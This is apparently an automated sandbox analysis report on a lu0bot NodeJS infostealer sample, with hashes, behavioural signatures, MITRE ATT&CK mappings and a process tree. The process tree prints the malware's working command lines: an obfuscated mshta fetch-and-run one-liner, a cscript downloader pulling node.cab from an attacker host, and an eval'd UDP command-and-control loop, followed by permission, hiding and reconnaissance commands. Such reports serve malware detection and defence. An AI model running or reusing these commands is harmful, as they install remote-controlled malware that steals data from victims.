lu0bot | 6862a78fe0776ed93f11f783024d20b4d0a8dcbd9fd555f8a31cda921ba75139

Analysis

max time kernel
149s
max time network
152s
platform
windows10_x64
resource
win10v20210410
submitted
03-08-2021 20:38

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General

Target

usfive_20210803-201818.exe
Size

3KB
MD5

f90a54f4aa3e3df1e6c90663bdd46886
SHA1

fd318da966745bf298ef8d26a1570322988aec7a
SHA256

6862a78fe0776ed93f11f783024d20b4d0a8dcbd9fd555f8a31cda921ba75139
SHA512

d0283140c7ad7d995bc483dd41da06258f31534a2f028d9fcfb8091a1ae838befadf1d781e933c61597aa6c861182a550133f3ec102d580e9f7bd943920c8458

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	504	mshta.exe
11	188	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
776	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3172	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
3712	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1644	ipconfig.exe
3976	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3168	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\01206e57be6f6ef7:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:1caae7775433498a1c8f74587ce462bc	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
776	node.exe
776	node.exe
776	node.exe
776	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	3712	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3956	wmic.exe
Token: SeSecurityPrivilege	3956	wmic.exe
Token: SeTakeOwnershipPrivilege	3956	wmic.exe
Token: SeLoadDriverPrivilege	3956	wmic.exe
Token: SeSystemProfilePrivilege	3956	wmic.exe
Token: SeSystemtimePrivilege	3956	wmic.exe
Token: SeProfSingleProcessPrivilege	3956	wmic.exe
Token: SeIncBasePriorityPrivilege	3956	wmic.exe
Token: SeCreatePagefilePrivilege	3956	wmic.exe
Token: SeBackupPrivilege	3956	wmic.exe
Token: SeRestorePrivilege	3956	wmic.exe
Token: SeShutdownPrivilege	3956	wmic.exe
Token: SeDebugPrivilege	3956	wmic.exe
Token: SeSystemEnvironmentPrivilege	3956	wmic.exe
Token: SeRemoteShutdownPrivilege	3956	wmic.exe
Token: SeUndockPrivilege	3956	wmic.exe
Token: SeManageVolumePrivilege	3956	wmic.exe
Token: 33	3956	wmic.exe
Token: 34	3956	wmic.exe
Token: 35	3956	wmic.exe
Token: 36	3956	wmic.exe
Token: SeIncreaseQuotaPrivilege	3956	wmic.exe
Token: SeSecurityPrivilege	3956	wmic.exe
Token: SeTakeOwnershipPrivilege	3956	wmic.exe
Token: SeLoadDriverPrivilege	3956	wmic.exe
Token: SeSystemProfilePrivilege	3956	wmic.exe
Token: SeSystemtimePrivilege	3956	wmic.exe
Token: SeProfSingleProcessPrivilege	3956	wmic.exe
Token: SeIncBasePriorityPrivilege	3956	wmic.exe
Token: SeCreatePagefilePrivilege	3956	wmic.exe
Token: SeBackupPrivilege	3956	wmic.exe
Token: SeRestorePrivilege	3956	wmic.exe
Token: SeShutdownPrivilege	3956	wmic.exe
Token: SeDebugPrivilege	3956	wmic.exe
Token: SeSystemEnvironmentPrivilege	3956	wmic.exe
Token: SeRemoteShutdownPrivilege	3956	wmic.exe
Token: SeUndockPrivilege	3956	wmic.exe
Token: SeManageVolumePrivilege	3956	wmic.exe
Token: 33	3956	wmic.exe
Token: 34	3956	wmic.exe
Token: 35	3956	wmic.exe
Token: 36	3956	wmic.exe
Token: SeDebugPrivilege	3976	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4064 wrote to memory of 504	4064	usfive_20210803-201818.exe	70
PID 4064 wrote to memory of 504	4064	usfive_20210803-201818.exe	70
PID 4064 wrote to memory of 504	4064	usfive_20210803-201818.exe	70
PID 504 wrote to memory of 3956	504	mshta.exe	76
PID 504 wrote to memory of 3956	504	mshta.exe	76
PID 504 wrote to memory of 3956	504	mshta.exe	76
PID 3956 wrote to memory of 188	3956	cmd.exe	78
PID 3956 wrote to memory of 188	3956	cmd.exe	78
PID 3956 wrote to memory of 188	3956	cmd.exe	78
PID 3956 wrote to memory of 2368	3956	cmd.exe	79
PID 3956 wrote to memory of 2368	3956	cmd.exe	79
PID 3956 wrote to memory of 2368	3956	cmd.exe	79
PID 3956 wrote to memory of 2128	3956	cmd.exe	80
PID 3956 wrote to memory of 2128	3956	cmd.exe	80
PID 3956 wrote to memory of 2128	3956	cmd.exe	80
PID 2128 wrote to memory of 776	2128	cscript.exe	81
PID 2128 wrote to memory of 776	2128	cscript.exe	81
PID 2128 wrote to memory of 776	2128	cscript.exe	81
PID 776 wrote to memory of 2620	776	node.exe	85
PID 776 wrote to memory of 2620	776	node.exe	85
PID 776 wrote to memory of 2620	776	node.exe	85
PID 776 wrote to memory of 2612	776	node.exe	86
PID 776 wrote to memory of 2612	776	node.exe	86
PID 776 wrote to memory of 2612	776	node.exe	86
PID 776 wrote to memory of 3172	776	node.exe	87
PID 776 wrote to memory of 3172	776	node.exe	87
PID 776 wrote to memory of 3172	776	node.exe	87
PID 776 wrote to memory of 3816	776	node.exe	88
PID 776 wrote to memory of 3816	776	node.exe	88
PID 776 wrote to memory of 3816	776	node.exe	88
PID 776 wrote to memory of 3520	776	node.exe	89
PID 776 wrote to memory of 3520	776	node.exe	89
PID 776 wrote to memory of 3520	776	node.exe	89
PID 776 wrote to memory of 3712	776	node.exe	91
PID 776 wrote to memory of 3712	776	node.exe	91
PID 776 wrote to memory of 3712	776	node.exe	91
PID 776 wrote to memory of 3956	776	node.exe	92
PID 776 wrote to memory of 3956	776	node.exe	92
PID 776 wrote to memory of 3956	776	node.exe	92
PID 776 wrote to memory of 1644	776	node.exe	93
PID 776 wrote to memory of 1644	776	node.exe	93
PID 776 wrote to memory of 1644	776	node.exe	93
PID 776 wrote to memory of 500	776	node.exe	94
PID 776 wrote to memory of 500	776	node.exe	94
PID 776 wrote to memory of 500	776	node.exe	94
PID 776 wrote to memory of 3976	776	node.exe	95
PID 776 wrote to memory of 3976	776	node.exe	95
PID 776 wrote to memory of 3976	776	node.exe	95
PID 776 wrote to memory of 3168	776	node.exe	96
PID 776 wrote to memory of 3168	776	node.exe	96
PID 776 wrote to memory of 3168	776	node.exe	96

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3816	attrib.exe
3520	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210803-201818.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210803-201818.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();159;y=unescape('%334%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E7%30').split('~');143;try{x='WinHttp';232;x=new ActiveXObject(x+'.'+x+'Request.5.1');228;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);40;x.send();4;y='ipt.S';36;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);207;}catch(e){};90;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:504
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628023187684.txt & cscript /nologo /e:jscript get1628023187684.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2e33c83ce%26b%3D29478f5a" node.cab & expand node.cab node.exe & del get1628023187684.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628023187684.txt & cscript /nologo /e:jscript get1628023187684.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e33c83ce%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628023187684.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628023187684.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F2e33c83ce%26b%3D29478f5a" node.cab
      4⤵
      Blocklisted process makes network request
      PID:188
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:2368
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628023187684.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e33c83ce%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2128
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e33c83ce%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:776
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:2620
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:2612
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3172
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:3816
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:3520
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3712
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3956
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:1644
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:500
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:3976
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:3168

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/776-126-0x000000001FB00000-0x000000001FB01000-memory.dmp

Filesize
4KB

Download
memory/776-125-0x0000000026C00000-0x0000000026C01000-memory.dmp

Filesize
4KB

Download
memory/776-127-0x0000000025A00000-0x0000000025A01000-memory.dmp

Filesize
4KB

Download
memory/776-128-0x000000001E400000-0x000000001E401000-memory.dmp

Filesize
4KB

Download
memory/776-130-0x0000000025100000-0x0000000025101000-memory.dmp

Filesize
4KB

Download
memory/776-129-0x000000003C000000-0x000000003C001000-memory.dmp

Filesize
4KB

Download